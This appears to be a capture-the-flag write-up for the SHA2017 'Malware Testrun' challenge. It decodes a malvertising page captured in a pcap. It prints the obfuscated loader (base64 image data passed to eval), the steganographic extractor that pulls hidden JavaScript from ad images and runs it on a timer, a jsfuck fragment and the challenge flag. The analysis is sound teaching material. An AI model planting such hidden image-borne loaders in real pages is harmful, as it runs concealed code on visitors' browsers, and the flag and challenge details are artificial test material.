SHA2017 CTF - Malware Testrun

Event Points Solves Categories Task ID
SHA2017 CTF 200 131 Network 4428

Challenge Description

We heard a rumour that our website will be used to distribute malware. We believe we captured a test run of it. Can you find out what the malicious content will be?

malwaretestrun.tgz 53eff0e472db7ecfdd9a9534d3b05098

Overview

The provided archive file contains the malware-testrun.pcap file which we extract and open in Wireshark. It looks like an HTTP request for the website http://obamamemes.com was recorded with all subsequent requests the browser performed to fetch the referenced resources (pictures, CSS & Javascript files). We use Wireshark’s File -> Export Objects -> HTTP dialog to dump all resources into a folder and have a closer look. We reconstruct the folder structure of the webserver and have a look at the index.html (named ‘/’ by Wireshark):

index.html after reconstructing the web servers folder structure

After enjoying some premium quality Obama memes (where is Biden though???), we turn our focus to the advertisements that are displayed on the page. We inspect the ads.html file and quickly figure out that there is some shady Javascript magic going on:

<img id="img" src="data:image/png;base64,ej0iIjtmdW5jdGlvbiB2KGIpe3M9Jyc7Zm9yKGk9MCxsPWIubGVuZ3RoO2k8bDtpKz04KXtjPTA7Zm9yKGo9NztqPj0wO2otPTEpe2MrPWJbaSs3LWpdPDxqO31zKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGMpO31yZXR1cm4gczt9ZnVuY3Rpb24gZChpbWcpe2k9MDtsPWltZy5sZW5ndGg7c3Q9W107d2hpbGUoaTxsKXtzdFtpXT0gaW1nW2kqNF0mMTtpKz0xO31yZXR1cm4gdihzdCk7fWZ1bmN0aW9uIGYoKXt3PWkubmF0dXJhbFdpZHRoO2g9aS5uYXR1cmFsSGVpZ2h0O2M9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIik7eD1jLmdldENvbnRleHQoIjJkIik7Yy53aWR0aD13O2MuaGVpZ2h0PWg7eC5kcmF3SW1hZ2UoaSwwLDAsdyxoKTt0PWQoeC5nZXRJbWFnZURhdGEoMCwwLHcsaCkuZGF0YSk7aWYodD10Lm1hdGNoKC9TSEEuKlNIQS8pKXt6Kz10WzBdLnJlcGxhY2UoL1NIQS9nLCcnKTt9fTtmdW5jdGlvbiBxKCl7aT1uZXcgSW1hZ2UoKTtpLmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLGYsZmFsc2UpO2kuc3JjPSJub3RpdC5wbmcifXNldFRpbWVvdXQocSwxMDAwKTtmdW5jdGlvbiBhKCl7ZXZhbCh6KX1zZXRUaW1lb3V0KGEsMjAwMDAwKQo=">

<script type="text/javascript"> 
eval(atob(document.images[0].src.replace(/.*,/, "")));

De-obfuscating the first layer

So the source of the picture, which is base64 encoded data, is decoded and the resulting string is fed into an eval() call. We decode the data ourselves and find some compressed Javascript:

z="";function v(b){s='';for(i=0,l=b.length;i<l;i+=8){c=0;for(j=7;j>=0;j-=1){c+=b[i+7-j]<<j;}s+=String.fromCharCode(c);}return s;}function d(img){i=0;l=img.length;st=[];while(i<l){st[i]= img[i*4]&1;i+=1;}return v(st);}function f(){w=i.naturalWidth;h=i.naturalHeight;c=document.createElement("canvas");x=c.getContext("2d");c.width=w;c.height=h;x.drawImage(i,0,0,w,h);t=d(x.getImageData(0,0,w,h).data);if(t=t.match(/SHA.*SHA/)){z+=t[0].replace(/SHA/g,'');}};function q(){i=new Image();i.addEventListener('load',f,false);i.src="notit.png"}setTimeout(q,1000);function a(){eval(z)}setTimeout(a,200000)

We use jsbeatuifier.org to make the code more readable and replace the Javascript of the ads.html with the extracted one. After some analysis, we figure out that the script performs the following steps:

By now it is pretty clear what we have to do, replace the eval(z) call with console.log(z) and set the huge timeout to something reasonable like 2 seconds. We let the script run and check our console output. At this point, we have to switch to Firefox because Chrome is very smart and prevents the script from running:

Uncaught DOMException: Failed to execute ‘getImageData’ on ‘CanvasRenderingContext2D’: The canvas has been tainted by cross-origin data.

Cool stuff, anyways let’s check what the script does when being executed:

alert('Sorry, wrong image file!');

De-obfuscating the second layer

So the script is working but we got the wrong image file, so we simply try all other images by replacing i.src = "notit.png" with the appropriate path and see whether anything useful is being parsed out of the image. We start with the ad00_.png files as they are also PNG files, the script was located in the ads.html file and we suspect the theme of the challenge to be malvertising. Indeed, the ad001.png actually contains something:

(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+   ...   )[+!+[]+[+[]]]+(+

Good old jsfuck. We notice however that the end of the string is not properly terminated, it looks like there is a second part! Indeed, ad002.png and ad003.png also contain jsfuck code. We suspect that we have to chain them all together to get the full deal, so we write a for loop around the string extraction:

for(index= 0; index< 8; index++){
    function q(image_file) {
        i = new Image();
        i.addEventListener('load', f, false);
        console.log("image file: "+image_file);
        i.src = image_file
    }
    setTimeout(q, 1000+1000*index, "images/ad00"+index+".png");

    function a() {
        console.log("EVAL: "+z);
    }
}
setTimeout(a, 10000);

The script runs through and prints valid jsfuck code into the console! We quickly head over to jsfuck.com, copy paste the code into the text area, turn off the ‘Eval Source’ checkbox and click “Run This”. A nice alert box appears that contains our flag:

“x=new Date();if(x.getDate()==”23”&&x.getHours()==”12”){alert(“flag{02aa1488771e325eef9b0e5f0d2db626}”)}”


Nice, here’s our flag: flag{02aa1488771e325eef9b0e5f0d2db626}